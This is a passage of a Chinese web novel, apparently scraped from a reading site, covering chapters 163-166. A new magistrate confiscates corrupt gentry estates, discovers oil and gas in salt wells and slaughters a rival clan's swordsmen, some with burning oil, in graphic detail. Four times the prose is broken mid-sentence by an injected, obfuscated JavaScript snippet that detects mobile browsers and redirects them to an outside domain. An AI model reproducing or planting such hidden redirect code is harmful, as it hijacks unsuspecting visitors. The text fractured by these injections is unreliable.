秋氏眼睛瞪得溜溜圆,上下打量薛猛,简直不敢相信自己的眼睛。
天呐!
这么年轻的亭长?
还这么帅?
白虎乡什么时候出了这等人物?
秋氏嘤咛一声,媚眼如丝,下意识夹紧了双腿,脑子里全是和薛猛策马奔腾的画面……
“你是刘辉的婆娘吧?”
薛猛紧了紧身上的衣服,总感觉这女人看自己的眼神怪怪的:“你家刘辉犯了事儿,已经被知县抓走了,不日就要在县城十字街口,处以车裂极刑!”
“啥?”
秋氏脸上没有一丝悲哀和恐惧,反而满脸兴奋:“亭长大人,您是说……刘辉要**?太好了,这个老东西终于要**!”
“嫁给他,简直就是守活寡!终于把他熬**!”
“这刘家家业,都归我啦!啊哈哈……牛二,你听见没!咱们再也不用藏着掖着了!
“……”
薛猛嘴角暗抽,随即轻咳几声,正色道:“你高兴个什么劲儿?本亭长,奉命来抄家!刘家的房子,已经充公!”
“就连你也得充公……赶快把衣服穿上,跟我们走!!”
“啊?要抄家?”
秋氏脸上笑容一僵,心里拔凉拔凉。
“亭长大人!能不能不抄家,抄我行吗?”
下一刻,秋氏直接抱住了薛猛大腿,冲薛猛抛媚眼撒娇!
“抄你?”
薛猛擦了擦额角细汗。
若是放在几个月前,他说不定还真被这娘们儿迷住了!
但经历过林雅娴、徐瑾儿、裴红玉的轮番锤炼后,薛猛早就对这些庸脂俗粉免疫了。
“叉出去!”
随着薛猛一声令下,杨虎等人立即上前,把秋氏强行拽了出去。
“亭长大人,你确定不试试吗?奴家很好玩儿的!”
望着薛猛绝情的背影,秋氏心都碎了。
杨虎等人把秋氏带出去后,就没再回来,也不知道干什么去了。
薛猛只能自己动手,收刮刘家值钱的东西!
管家牛二见风使舵,连忙点头哈腰,主动给薛猛充当起“向导”:“亭长大人,刘家值钱的东西,都藏在后院地窖里,我带你去!”
“只求亭长大人,免了小人的苦役!”
“行行行!”
薛猛咧嘴一笑,先答应着呗!
等把刘家值钱的宝贝都抄了,再把这小子送去修城墙!
……
紧随刘家之后,朱家、黄家,接连被抄没!
薛猛本着苍蝇老虎一起打的理念,顺便把几个和这些劣绅狼狈为奸的村长,也都一并拿下!
整整一个下午,押送家眷从犯的队伍,排成长队,走遍了大半个白虎乡!
颇有点游街示众的意思!
沿途的村民们,简直不敢相信自己的眼睛。
“我的天!太阳打西边出来了?”
“任丰年这老狗,被官府抓走了?”
“何止啊,青牛村刘家、朱雀村朱家、黄泥村黄家,还有几个村长,全被新任亭长薛猛给抄了!”
“老天爷开眼了!”
“薛大英雄当亭长,咱们白虎乡有好日子过了!”
“……”
很快,薛猛担任亭长,带队查抄刘家、黄家、朱家的消息,便传遍了整个白虎乡。
白虎乡几个村子的乡民,那可真是欢天喜地,奔走相告,比过年还高兴!
不少农户自发组成乐班,敲起锣鼓,吹起唢呐,跟在薛猛抄家的队伍后面,庆祝起来!
一来,恭贺薛猛当任亭长!
二来,则是庆祝白虎乡最大的几颗毒瘤,终于被拔除了!
抄家队伍,押着犯人在白虎乡游街示众后,回到了白虎乡亭,把人全部关了起来。
乡亭本就不大的土牢,一下就被填满了。
薛猛坐在乡亭大厅案首后,翻看着这次抄家的汇总账目。
不看不知道,一看吓一跳!
这些老猪狗,简直肥得吓人!
寇芳立于堂下,朝薛猛拱手汇报道:“亭长大人,这次从任家、刘家、黄家、朱家查抄的田、房、首饰、布匹、器物、粮食,总计折合白银四万一千二百六十七两!”
“还有现银五千七百六十四两!”
“此外,临水村任家,有大小渔船四十七艘,和上百户渔民签有**契书!”
“从景丰四十三年冬天到四十四年夏天,任家收到渔民船只租金、渔获分成,除去应缴纳给朝廷的渔业税、漕粮以外,结余白银三千七百三十四两!”
“青牛村刘家,家中囤有大量名贵木材,有三个家具作坊,手下有上百木匠,和县里家具铺子签有合作契书!”
“黄泥村黄家,有四座陶器作坊,每月出产的陶器,价值千两白银,销往紫丘、洪雅、水清等多个县市!”
“朱雀村朱家,替县里豪强魏家,开凿了三十多口盐井,每月出产井盐四万五千斤……”
寇芳的声音,犹在耳畔回响,薛猛却已经神游天外!
发了!
彻底发了!
不光是数以万计的银两,更值钱的,其实是这四大豪绅家里的产业!
“难怪这几个老猪狗,之前说我薛家跟他们比,还不够格!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366001|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>“本以为他们是骄傲自大,没想到真的这么肥!”
薛猛不由汗颜。
自己之前打猎采药、搞鱼胶积攒下的那点家业,跟这些老猪狗比起来,确实小巫见大巫了。
“恩公,这些为富不仁的老猪狗,哪里配跟您比?”
寇芳纤眉高挑,愤愤不平:“他们的财富,全是靠压榨乡民积攒起来的!”
“可不像你,每个月都给大家发工钱,赚了钱,还跟大家分红,带着所有人都吃饱饭!”
“你若是也像他们一样,自私自利,压榨乡民,以你的聪明才智,肯定比他们还富!”
“但你不是那样的人!”
“他们有钱又如何?现在还不是丢了命!”
“而你,赢得的是全乡百姓的拥戴!”
“现在在白虎乡,只要提起你薛猛的名字,无论男女老少,谁不是直竖大拇指?”
听寇芳这么一说,薛猛心情顿时舒畅了不少。
是啊!
钱这种东西,是赚不完的!
光有钱,没命花,顶个屁用啊?
“薛爷,这是从任家、刘家、黄家、朱家抄来的**契,您看怎么处置?”
杨虎呈上满满一箱**契,而后自觉退在一旁。
薛猛瞄了杨虎一眼,总感觉这小子脸色惨白,像是被妖精吸了阳气一样。
看着案几上堆积如山的**契,薛猛随手翻开几册,**契里还夹着欠条。
“临水村渔民夫妻邓三儿、柳桂梅,租借任家渔船、渔网……”
“逾期未能缴纳租金,连本带息,欠任家五十两!”
“因无力偿还,夫妻二人,自愿**为奴,子子孙孙,永世效忠任家!”
看着欠条上“自愿**为奴”几个醒目大字,薛猛只觉格外讽刺!
若非生计所迫,谁会自愿**为奴?
“五十两银子,就可以让一对贫民夫妻,终身为奴,连子子孙孙都不得翻身!”
薛猛仰头呼出一口浊气,不由得想起了曾经的自己。
想起了李贺上门讨债的那些日子!
“刘家已经被抄了。”
“这些**契自然也就一笔勾销!”
薛猛提笔,在**契上画上一个显眼的叉!
“寇芳,你去通知白虎乡五个村的村民!”
“明日派村民代表,到乡亭开大会!”
“既然现在我当了亭长,有很多事情,需要重新立规矩!”
“白虎乡,不能再像以前那样乌烟瘴气!”
“是!”
寇芳拱手领命,刚刚转身出门,却见一名巡猎队队员,气喘吁吁跑了进来。
“薛爷!不好了,朱雀村村民**!”
“为了抢盐井打起来了!”
第163章 油气伴生
“啥?”
薛猛闻言,两眼一瞪。
刚上任,就给我整活儿是吧?
“说说!到底什么情况?谁跟谁打起来了,为什么打?”
薛猛并没有急着起身,而是扫了眼进来的队员。
队员指了指身边跟来的干瘦老者,道:“这位是朱雀村的老灶户李老根儿,李老根儿,你快跟亭长说说,朱雀村的情况!”
李老根儿连忙跪在薛猛面前,磕头道:“草民,叩见亭长大人!”
“老人家,不用跪!起来说!”薛猛抬了抬手。
“谢亭长大人!事情是这样的……”
李老根儿颤颤巍巍站了起来,一五一十交代了朱雀村的情况。
朱雀村地下富含天然卤水,时常冒出地面,形成卤水洼。
大户朱家就是靠着垄断这些天然卤水,煮制粗盐,私自贩卖发的家。
但贩卖私盐毕竟是见不得光的勾当,朱家在积累了一些资本后,便找到了县里豪强魏家合作。
魏家有官方许可的盐引,可以合法运盐贩盐。
有了魏家背书,朱家便开始光明正大开掘盐井,采集卤水煮盐。
魏家则以低于市场价接近一多半的低价,收购朱雀村的井盐。
几十年来,朱家先后开掘了三十二口盐井,日益强盛。
整个朱雀村的村民都成了朱家的盐工和灶户。
开掘盐井、提卤、煮盐,虽然全是苦活,但每煮出四百斤盐,就可以换三百文钱,比种地强!
为了这微薄的收入,朱雀村村民勤勤恳恳,任劳任怨,日子虽然过得算不上多好,但比其他村子吃糠咽菜还是强不少。
种地,看天吃饭,遇到灾年就得饿肚子。
而煮盐,旱涝保收!
至少不缺盐巴吃,隔三岔五还能吃上米饭!
可惜好景不长,经过多年开采,许多盐井卤水都干了,若是深挖,又容易塌方。
有的盐井,挖到下面,井里的卤水冒气泡,还冒黑油。
有人冒险尝试用这种混合着黑油的卤水煮盐,结果锅里冒出大火,差点把房子都烧穿了!
朱家为此又开挖了几口新盐井,但无一例外,全都冒黑油!
现如今,整个朱雀村能出正常卤水的盐井,只剩下七八口,根本不够村民们分!
为了争夺这七八口盐井的使用权,村民们时常起冲突。
刚开始只是口头争执,后来便逐渐升级为单挑肉搏。
再后来,村民分成了几派,彼此打群架,搞械斗!
“以前朱家派人管着盐井,大伙儿还不敢打得太厉害!”
“现在朱家被抄了,村里几派人都想当老大,动了真家伙,打得头破血流!朱雀村彻底乱了套!”
“犬子被打残了一条腿……”
说到这里,李老根儿老泪纵横。
再次跪了下来,向薛猛磕头乞求:“亭长大人,老头子斗胆请你,主持公道!”
“再这样打下去,咱们朱雀村就完了!”
薛猛低眉看向案几上查抄的账目,眉头轻锁,思绪纷繁。
本以为查抄了劣绅,白虎乡就可以安宁了!
没想到,竟然惹出这等事来!
穷山恶水出刁民,这句话并非空穴来风!
穷山恶水,意味着生存资源稀缺,为了争夺生存的资源,底层互相碾压,这种事情,别说古代,任何时代都一样!
说白了,还是穷导致的!
若是人人都能吃饱饭,谁又想整天打打杀杀?
唯一的解决办法,就是让大家都能吃饱!
但这需要时间,现在最重要的是,平息**,防止事态进一步恶化,避免更多村民伤亡!
薛猛虎目微眯,冷声道:“杨虎!你马上带一队人马,立即赶去朱雀村!”
“记住!一定要全副武装!**箭**都给我带上!”
“先把带头**的刺头揪出来,当场格杀!其他人就不敢再闹了!”
“是!”
杨虎心头一震,没想到薛猛手段如此铁腕。
但转念一想,似乎也只有这样,才能镇住那些**的村民,避免更多人无辜伤亡!
不愧是薛爷!
既有霹雳手段,又有慈悲心肠!
目送杨虎离去后,薛猛脸上肃杀之气顿消。
起身走下案台,扶起跪在地上,瑟瑟发抖的李老根儿,轻言细语道:“老人家,你快起来!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366002|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“你刚才说,盐井里冒气泡,冒黑油,一煮就喷火,那黑油是不是有一股刺鼻的怪味?”
李老根儿愣了愣神,眼睛瞪得老大:“亭长大人,你是如何知道的?那黑油,确实有一股子难闻的气味!”
“而且,不管怎么洗都洗不掉!不少盐井,都是因为这东西,成了废井,可害苦了咱们呐!”
薛猛眼底划过一抹幽光,唇角微扬,心中已对那黑油的成分,有了七八分猜测。
“老人家,这可是好东西啊!比盐值钱!你能带我去废井看看吗?”
“啥?”
李老根儿不敢相信自己的耳朵。
“亭长大人,我没听错吧,你是说,那害人的黑油,是比盐更值钱的宝贝?”
薛猛深意一笑:“如果真是我需要的那种东西,肯定值钱!”
“不过,还是要先去看过,才能确定!”
“那好吧,小老儿这就带你去!”
对于薛猛的话,李老根儿依旧半信半疑。
但亭长要去,他还能说啥。
片刻后。
薛猛跟着李老根儿,来到了朱雀村一口废弃盐井前。
大虞钻探技术有限,盐井全靠人力挖掘,因此多是“大口浅井”。
这种盐井井口直径数尺,井不深,通常不会超过十米。
薛猛俯身朝盐井里看去,刚一靠近,就能感受到井口温度,略高于周围空气的温度,并且充斥着一股甲烷气味。
定睛一看,井底卤水水面上,漂浮着一层粘稠黑油,还不时翻涌着细小的气泡。
“亭长大人,你千万要小心啊!”
见薛猛靠得这么近,李老根儿捏了一把冷汗:“之前,这井里的黑油喷出来过,这东西沾上,洗都洗不掉!”
“是吗?那可太好了!”
薛猛眉头一挑,更加兴奋了!
本来以为只是挖出了石油,但听李老根儿这么一说,居然还是油气伴生!
这口盐井里,既有石油,又有天然气!
简直就是天然的燃料库!
正说着,井底忽然传来异响,翻涌的气泡越来越大。
轰!
下一刻,一大股石油从井里喷了出来!
第164章 猛火刀法!
薛猛拽着李老根儿,连忙闪开,远远看着井喷的石油,兴奋得直发抖!
这一刻,富得流油具象化了!
什么穷山恶水?
明明就是金山银水!
只可惜,朱雀村的村民守着金山,却不自知!
油气伴生会导致地下压力增加,从而引发井喷。
等天然气泄漏出去,气压降低,井喷自然就会停止!
石油喷了十多分钟,方才渐渐平息。
可见这地下石油和天然气的储量,十分可观,薛猛如获至宝,两眼放光:“老人家,你们这村子叫朱雀村是吧?”
“这名字取得真好!”
“看看你们这儿都富得流油了,你们村子,今后有福了!”
朱雀属火,于八卦为离,象征四象中的老阳。
这朱雀村地下,全是天然燃料,不正应了这朱雀之名吗?
“亭长大人莫要说笑了,这些油又不能吃,有什么用?”
李老根儿满脸苦涩,压根不明白薛猛在高兴什么!
这黑油把盐卤都糟蹋了,把他们这些灶户可害苦了,哪有什么福?
薛猛笑道:“这东西确实不能吃,但它有更大的用处!”
天然气,可以作为优质燃料,用于冶炼、煮盐,能够轻松达到比固体燃料更高的温度!
前世西汉时期,巴蜀地区的盐户,就已经掌握了天然气煮盐的技术。
当时的临邛井盐生产者,在开凿盐井过程中,意外发现了天然气,于是建造了人类历史上最早的天然气井“临邛火井”,用于煮制食盐。
到了蜀汉时期,诸葛亮在视察古火井后,在原来的基础上改进技术,用竹筒导气煮盐,使得井盐产量倍增。
用天然气煮盐,一斛水可得五斗盐,而用柴火煮盐,所得甚少。
因为天然气的主要成分是甲烷,燃烧时温度可达一千八百度,且火焰集中、稳定,能够让水分持续蒸发,让盐析出更加彻底。
柴火温度低,且燃烧不稳定,在煮盐过程中,会造成较大损耗。
石油就更不用说了。
在前世,被誉为黑色黄金,全球工业的血液!
天上飞的,地上跑的,水里游的,全都离不开它!
有了石油,就有了将来迈向工业化的基础。
不说别的,眼下石油最大的用处,莫过于制作武器!
**火力不足,烈性**一时半会又造不出来,薛猛正愁火力不足,对付不了黑风岭响马!
石油的出现,无疑是雪中送炭!
猛火油柜!
石油**!
引火车!
光是想想这些武器,薛猛就兴奋得发抖。
石油不同于其他燃料,这东西一沾上,用水泼灭不了,越泼火越大,且燃烧效率高,所以也被叫做“猛火油”!
用于火攻,形同开挂!
“不过,该如何把油、气、盐卤分离开呢?”
薛猛捏着下巴,思忖片刻,忽然想到一个点子。
盐卤密度大,石油次之,天然气密度最小。
制作一个旋风分离器,通过反复搅拌旋转、撞击,密度大的盐卤就会向下沉淀,石油和天然气就会被分离出来。
为了印证这个办法能不能行得通,薛猛让李老根儿回家找来一个葫芦。
在地上的坑洼里,舀了一葫芦石油、天然气、盐卤混合物。
“站住!”
薛猛把葫芦系在腰间,正准备离开朱雀村,回去做实验,忽听背后响起一声怒斥。
步子一顿,回头看去,只见二三十条汉子,手里提着刀,围了过来。
为首一人四十多岁,赤须秃顶,驼背,三角眼,扛着一把鬼头刀。
穿着枣红短褂,袒胸露肚,胸毛和腹毛连成一条线。
“亭长大人,这是朱六爷!”
李老根儿瞳孔一缩,面露恐惧,连忙凑近薛猛耳边,压低声道:“他跟朱洪是同族堂兄弟,排行老六,与朱洪不和,在隔壁乡开武馆教徒弟……”
“得知朱洪被抄家后,他就带着朱家族人,回来夺我们的盐井,还要把我们外姓人赶出朱雀村!”
“犬子的腿,就是让他给打残的!”
薛猛虎目一凝,打量了朱六爷一眼。
这家伙眼白发黄,冒冷光,瞳孔尖细,一看就不是善类!
朱六爷冷冷瞥了眼薛猛腰间的葫芦。
沉哼一声,看向李老根儿:“李老头儿!你真是吃了熊心豹子胆!”
“居然敢带外村人,到咱们村子来偷盐卤!”
“朱熊,朱豹,给我把这老东西的腿卸了!”
朱六爷大手一挥,身后立即闪出两个壮汉。
同样穿枣红短褂,腰系英雄巾。
手提朴刀,满脸杀气!
“朱六爷,饶命呐!”
李老根儿吓得一哆嗦,连忙跪地求饶:“这盐卤里有黑油,早就不能用了,亭长大人要来看看,我就带他来了!”
“就算不能用,也是朱雀村的东西,决不能给外村人!慢着……”
朱六爷话说到一半,忽而一怔,阴狠目光冷冷扫向薛猛。
“你是说……这小子就是白虎乡新上任的亭长,薛猛?”
朱六爷踏前一步,扛在肩头的鬼头刀,刀锋垂下,直指薛猛眉心!
“就是你,带人抄了我堂哥的家?”
“是我!”
薛猛亦是踏前一步,目光平静,淡笑道:“怎么,你要为你堂哥报仇?”
若是对方胆敢动手,薛猛不介意给这些刁民一点教训!
掌握了含香步之后,他对自己的实力,非常自信!
朱六爷摇头:“朱洪虽是我堂哥,但我与他素来不和,他的死活跟我没关系!”
“但,朱家的家产,你必须原封不动,还给我!”
“我朱家的东西,只能由我朱家族人继承!”
提到“家产”,朱六爷三角眼中明显泛起了贪婪的冷光。
“哈哈哈!”
薛猛闻言大笑。
“你笑什么?!”朱六爷皱眉。
薛猛脸上笑容一敛,掌摁腰间刀柄,一步步向前紧逼,像看**一样看着朱六爷。
“朱洪勾结水匪,罪同谋反,本亭长是奉命查抄朱家。”
“抄得的家产全部充公,就连朱家名下的这些盐井,现在也已经归白虎乡公家所有!”
“你有什么资格,对本亭长指手画脚?”
“今日,本亭长断你一臂,以示惩戒!”
薛猛虎目圆睁,声音陡然拔高!
“刷——!”
腰间长刀骤然出鞘,径直朝着对方肩头劈下!
刀光犹如白虹贯日,光华耀目!
“呵呵!毛头小子一个,竟敢如此大言不惭!让六爷我教教你,怎么用刀!”
朱六爷满脸不屑,举刀格挡!
“锵——!”
双刀交错之际,迸出金属爆鸣。
朱六爷双目圆瞪,顿觉一股沛然莫之能御的巨力,如山压来。
“什么?!呃啊……”
下一刻,朱六爷满脸惊恐,被薛猛的刀势压得折膝跪地。
手中鬼头刀锵然崩断。
薛猛的长刀,刀势未尽,径直没入朱六爷左肩。
竟如切豆腐一般,轻松写意!
“啊啊!!”
凄厉惨叫声直
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370152|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冲云天。
一条握刀的左臂,被齐肩削落,坠入尘埃!
朱六爷痛彻心扉,捂着喷血如泉的伤处,跪倒在血泊里。
“六爷?!”
朱熊目赤欲裂,嘶吼着拔刀刺向薛猛。
“臭小子,拿命来!!”
“锵——!”
薛猛脚下一旋,对手的刀擦腰而过。
“刷——!”
寒芒一闪而逝,薛猛迅速掠步于敌后,缓缓收刀入鞘。
对手身形一滞,双目失神,脖子上渗出一条血线。
“好……好快的…刀!”
下一刻,朱熊人头落地,血柱冲天而起,淋在地上,艳如落红。
“刷刷刷!”
身后朱豹等人一怔,随即怒然拔刀,场中喊杀声四起。
空气中弥漫着浓烈的杀机!
“乡党们,大家一起上!为六爷和熊哥报仇!”
“姓薛的只有一个人,咱们一人一刀,也能**他!”
“杀了这厮,咱们就去黑风岭落草!”
一时间,刀光如雪闪动,将薛猛团团围住。
李老根儿吓得抖若筛糠,满脸绝望。
坏了!
薛猛再如何英雄了得,但他终究只有一个人,好汉也架不住人多啊!
值此危急关头,薛猛却是闭上了双眼。
调匀呼吸,抿唇不语,静待敌人的脚步声到达最佳攻击范围。
“咔!——轰隆!”
下一刻,刀鞘挑起腰间装满石油的葫芦,抛向半空。
石油向四周撒出的瞬间,薛猛长刀再次出鞘!
咔嚓!
刀身与刀鞘上段镶嵌的金属,擦出火星,撒出的石油,瞬间被点燃。
蓝紫色气焰裹挟于刀身之上,警恶刀独有的兽纹,仿佛活了过来,在半空中划出一道绚丽弧光!
朱豹等人被突然爆发出的火光,晃得睁不开眼,火苗落在他们身上,瞬间将他们的衣服引燃!
“啊啊啊……”
距离薛猛最近的几人,顷刻化作了火人,嚎啕不止,翻滚在地。
那些离得较远的刀客,无不大惊,不等他们逃走,薛猛虎目圆睁,透着森寒杀意。
“刚才有人说,杀了我,就去黑风岭落草是吧?”
“那本亭长,可不能放走你们!”
“否则,就是放虎归山,后患无穷!”
“是莫大的失职!”
这次,薛猛不再迟疑,主动出击。
含香步融入刀法。
一身玄衣,身随刀走,左突右刺,犹如鬼魅。
带着蓝紫色焰光的刀光,在空地上频繁闪动。
长刀所向,血花飞溅,犹如霜杀百草,不断有人倒下!
“啊……哦啊……”
“咔!咔!咔!”
刀剑断裂声,不绝于耳。
地上的血水和残肢越来越多,站着的活人越来越少。
在薛猛的“猛火刀法”之下,二十几名刀客,根本没有薛猛一合之敌。
单方面的**,很快宣告结束。
“呼……”
薛猛呼出一口浊气,甩臂收刀,残血脱刀飞出,落在地上,还带着火苗,开得比腊月的红梅还要鲜艳。
“嗯?”
察觉背后有目光看着自己,薛猛回头看去,只见自己身后不知何时已经站满了人。
看样子应该是朱雀村的村民。
看见场中血淋淋的一幕,村民们瞠目结舌,纷纷自觉将手里的棍棒柴刀,收在了腰后。
“……”
李老根儿更是痴痴望着薛猛,瘫坐在地,老脸惨白,身子抖得比打摆子还厉害。
只觉薛猛比朱六爷,还要可怕百倍!
第165章 招募兵勇
“老人家,你儿子被朱六爷打残一条腿,现在把这只手给你,算扯平了吧?”
薛猛从地上捡起朱六爷的断臂,递给李老根儿,轻声安慰道。
“我,这,我……”
李老根儿定定看着薛猛递过来的断臂,嘴皮子抖得连句完整话都说不出来。
“拿着吧,别客气。”
薛猛把断臂塞进李老根儿手里,抬眸扫向怔怔看着自己的村民。
“你们也是来找本亭长打架的?”
“不,不敢!”
面对薛猛扫来的冷漠目光,村民们吓得一哆嗦,不约而同,低头跪了下来。
压根不敢和薛猛对视,更遑论跟薛猛动手了!
李老根儿回过神来,看了眼跪在地上的村民,对薛猛说道:“亭长大人,他们跟我一样,都是被朱家排挤的外姓村民!”
薛猛眯了眯眼,喝问道:“你们背后藏的什么东西?拿出来!”
村民们面面相觑,看向领头的中年汉子。
中年汉子带头把藏在腰后的柴刀,抽了出来。
跪在地上,双手将柴刀高举过顶,递给薛猛。
其他村民们见状,也纷纷把腰后藏在的武器丢在了面前空地上。
说是武器,其实都是柴刀、铁锨、连枷之类的农具,比起朱六爷那帮人的**,差远了。
“亭长大人,实不相瞒,姓朱的欺我们太甚,打伤了我们不少人,我们刚才本来是打算来跟姓朱的拼命的!”
“没想到,亭长大人在此!”
“早就听闻亭长大人射杀棕熊,英雄了得!今日一见,果然是天人下凡,我等草民,实在佩服至极……”
中年汉子语气诚恳,仰望薛猛的眼神充满敬畏。
其他村民也连忙点头附和。
薛猛一个人,一把刀,把朱家人全砍了!
而且刀还会喷火!
简直就是神仙下凡!
不服都不行!
“你是提卤工吧?”
薛猛接过汉子手中柴刀时,注意到对方肩臂肌肉高高隆起,小臂虬筋交织如藤蔓,手掌皮肤发白、开裂。
身上衣服也是千疮百孔,不仅破烂,而是质地看上去也硬邦邦的,颜色也已经发白。
不由问了一句。
中年汉子一怔,惊讶道:“亭长大人,你如何知道?”
“看你衣服上的洞,和你这双手就知道了!”
盐井凿成后,需要在井口架设一种叫做“天车”的打卤器械。
靠人力拉动天车篾索,拽动索上系着的“卤筒”,一筒一筒将井下的卤水提至地面,这个过程谓之“提卤”。
卤筒每次能装几十斤卤水,提卤工一天要提上百筒卤水。
卤水腐蚀性极强,提卤工在提卤过程中,难免会触碰卤水,时间一长,皮肤就会被泡得发白、开裂。
有时候卤水井喷,溅到身上,衣物就会被腐蚀得千疮百孔,又白又硬。
这是个苦活!
能扛下来的人,都不简单。
别的且不说,光是两膀子气力,就远超常人。
如今黑风岭响马连打紫丘、隐白、清边三县,兵锋直指洪雅县而来!
说不准什么时候,战火就会祸及白虎乡。
薛猛虽然做了白虎乡亭长,但茅仪并没有给他留下一兵一卒,需要自己招募兵勇,组织团练,守备乡亭!
朱雀村民风彪悍,村民之间经常发生械斗。
加上长期从事提卤煮盐这种重体力活,打熬筋骨,身体素质远超其他村子的村民。
不就是现成的好兵苗子吗?
薛猛见中年汉子生得浓眉大眼,狮鼻阔口,相貌不俗,不由开口问道:“你叫什么名字?”
汉子回道:“韩大勇!”
“听名字倒是一条好汉,就是不知道到底有几斤几两。”
薛猛玩味一笑,将手中的柴刀递还给韩大勇:“你这刀柄上全是暗红血斑,刀口轻微卷刃,显然是没少**呐!”
“来,砍我试试!”
“啊?”
韩大勇闻言一愣。
其他村民也都面面相觑,不明白薛猛这是要干嘛。
“这……亭长大人,草民不敢造次!”
韩大勇垂下头,不敢接刀。
“你不必紧张!”
薛猛开门见山道:“直说了吧,本亭长手下缺人,尤其缺敢打敢杀的狠人!”
“你持刀,我徒手,你只管尽全力,若能在我手底下走过三招,我可以免却你们聚众械斗之罪!”
“你还可以加入乡团,每月领五两饷银,补贴家用!”
多少?!
每月五两饷银!
韩大勇瞳孔骤然放大,连呼吸都急促了起来。
别说韩大勇,其他村民也都心动了。
他们辛辛苦苦提卤煮盐,为的是什么?
不就是图那几百文散钱,养活一家老小吗?
以往,他们煮四百斤盐,朱家才给他们三百文钱,一斤盐连一文都不值。
想赚五两银子,他们需要煮六千四百斤盐!
而要煮这么多盐,至少要提六万四千斤卤水!
一家子就算累死,一个月也赚不了五两银子!
更何况,如今不少盐井都成了废井,就算他们肯干,卤水也不够分,家里的日子是一天不如一天!
每月饷银五两银子,对于这些盐工而言,无疑于天文数字!
“爹!这是咱们家翻身的机会,千万不能错过……”
“是啊,若是有了五两银子,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370153|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可以给娘治病了!”
三个和韩大勇眉眼颇有几分相似的姑娘,凑到了韩大勇身边,眼眸里冒着光,压低声说道。
韩大勇眉头轻锁,还在犹豫。
“我来!”
一只粗糙发白的手,已经率先接过了薛猛手里的柴刀。
“二麻子……”
韩大勇抬眸看去,只见接刀之人,是村里的二麻子。
二麻子人如其名,脸上全是麻子。
这家伙,平日里最怂,打群架的时候总是躲在大家身后。
今天这是吃了熊心豹子胆了,居然第一个站出来?
“薛亭长,加入乡团,每个月真的能拿五两银子?”
二麻子握着刀柄,面对薛猛,紧张得直咽唾沫:“我听说,以前方田亭长,经常拖欠兵勇饷银……”
“方田是方田,我是我!你去卧虎村打听打听,我什么时候拖欠过工人工钱?”
有了薛猛这句话,二麻子如同吃了定心丸:“好,那我就放心了!”
“二麻子,你个怂包!每次打架,都躲在大家后面!”
“在这儿起什么哄!赶快把刀给我爹!”
韩大勇大女儿韩金珠,起身就要夺刀,二麻子连忙把刀护在怀里,“不给!谁说我是怂包?我那叫精明!”
“我才不像你们似的,只知道傻乎乎的拼命!”
“咱们跟朱六干架抢盐井,不就是图几个糟钱吗?”
“现在有一个月赚五两银子的好机会,我凭什么不能争取?”
“我也想赚钱,娶媳妇儿!”
韩金珠不屑冷哼一声,伸手就要夺刀:“少跟我耍嘴皮!快把刀给我!不然我对你不客气!”
“你别过来,我跟你拼了!”
二麻子两眼一瞪,挥刀朝韩金珠砍去,却不料对方轻松闪过,自己反倒挨了对方两拳。
“唉哟!!”
二麻子被打得鼻青脸肿,自知敌不过对方,竟然趴在地上,想从韩金珠裙底下钻过去。
“好个不知羞耻的怂包,竟然还想钻金珠奶奶的裆?叫你吃奶奶的屁!”
刚钻到一半,韩金珠一屁股坐下去,将二麻子死死压在地上,哀嚎不止。
二麻子被韩金珠压个半死,只能眼睁睁看着韩金珠夺过手里的柴刀。
“服不服?”韩金珠一脚踩在二麻子身上,踩得二麻子嗷嗷叫:“服了!金珠奶奶,我服了!”
薛猛看着韩金珠,来了兴趣,这婆娘身手还不错!
“薛亭长,我爹不敢跟你打!我跟你打!”
“不过,我下手没轻没重,你可要当心了!”
下一刻,韩金珠来到薛猛面前,话不多说,手握刀柄,眼中凶光一闪,柴刀径直朝薛猛心窝捅去!
第166章 拼命三娘
“金珠,不得造次!”
韩大勇刚想阻止,奈何韩金珠已经朝着薛猛扑去。
“大姐,上啊!!”
韩大勇二女儿韩银珠,三女儿韩宝珠,纷纷为韩金珠加油鼓气。
韩金珠眼中没有一丝感情,只有对银子的渴望!
